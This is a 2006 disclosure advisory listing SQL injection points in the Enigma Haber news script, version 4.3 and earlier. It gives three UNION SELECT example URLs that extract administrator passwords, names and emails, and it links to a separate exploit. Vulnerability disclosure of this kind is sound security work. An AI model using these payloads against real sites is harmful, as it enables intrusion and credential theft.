Advisory: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities

[Mustafa Can Bjorn IPEKCI <nukedx@xxxxxxxxxx>]

--Security Report--
Advisory: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 05:16 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@xxxxxxxxxx
Web: http://www.nukedx.com
}
---
Vendor: EnigmaASP (http://www.enigmaasp.net/)
Version: 4.3 and prior versions must be affected.
About: Via this method remote attacker can inject arbitrary SQL  
queries to EnigmaHaber.See the examples.
Level: Critical
---
How&Example:
GET -> http://[site]/enigmadir/e_mesaj_yaz.asp?id=SQL
EXAMPLE ->  
http://[site]/enigmadir/e_mesaj_yaz.asp?id=1879586820+UNION+SELECT+0,sifre,2,3,4,5,6,7,8,9,10,110,0,
0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+yonet+where+yonetid=1144931586
GET -> http://[site]/enigmadir/yazdir.asp?hid=SQL
GET -> http://[site]/enigmadir/yorum.asp?hid=SQL
GET -> http://[site]/enigmadir/edi_haber.asp?id=SQL&tur=1
GET ->  
http://[site]/enigmadir/ara.asp?yo=1&ara=SQL&ko=0&k=0&d=hid&e=desc&ay=00&yil=00
GET ->  
http://[site]/enigmadir/arsiv.asp?d=hid&e=desc[SQL]&ay=00&yil=00&e_kad=00
EXAMPLE ->  
http://[site]/enigmadir/arsiv.asp?d=hid&e=desc+UNION+SELECT+0,sifre,isim,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19+FROM+yonet+where+yonetid%20like%201144927664&ay=00&yil=00&e_kad=00
GET -> http://[site]/enigmadir/haber_devam.asp?id=SQL
Examples in the below needs admin rights.
GET -> http://[site]/enigmadir/admin/y_admin.asp?yid=SQL
EXAMPLE ->  
http://[site]/enigmadir/admin/y_admin.asp?yid=34+UNION+SELECT+0,1,mail,3,4,5,sifre,isim,8,9,sehir+from+
yonet+where+yonetid=1144927664
GET -> http://[site]/enigmadir/admin/reklam_detay.asp?bid=SQL
GET -> http://[site]/enigmadir/admin/detay_yorum.asp?hid=SQL
GET -> http://[site]/enigmadir/admin/haber_sil.asp?hid=SQL
GET -> http://[site]/enigmadir/admin/kategori_d.asp?o=1&kid=SQL
GET -> http://[site]/enigmadir/admin/haber_ekle.asp?tur=SQL
GET -> http://[site]/enigmadir/admin/e_mesaj_yaz.asp?s=SQL
GET -> http://[site]/enigmadir/admin/admin_sil.asp?id=SQL
--
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=34
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=34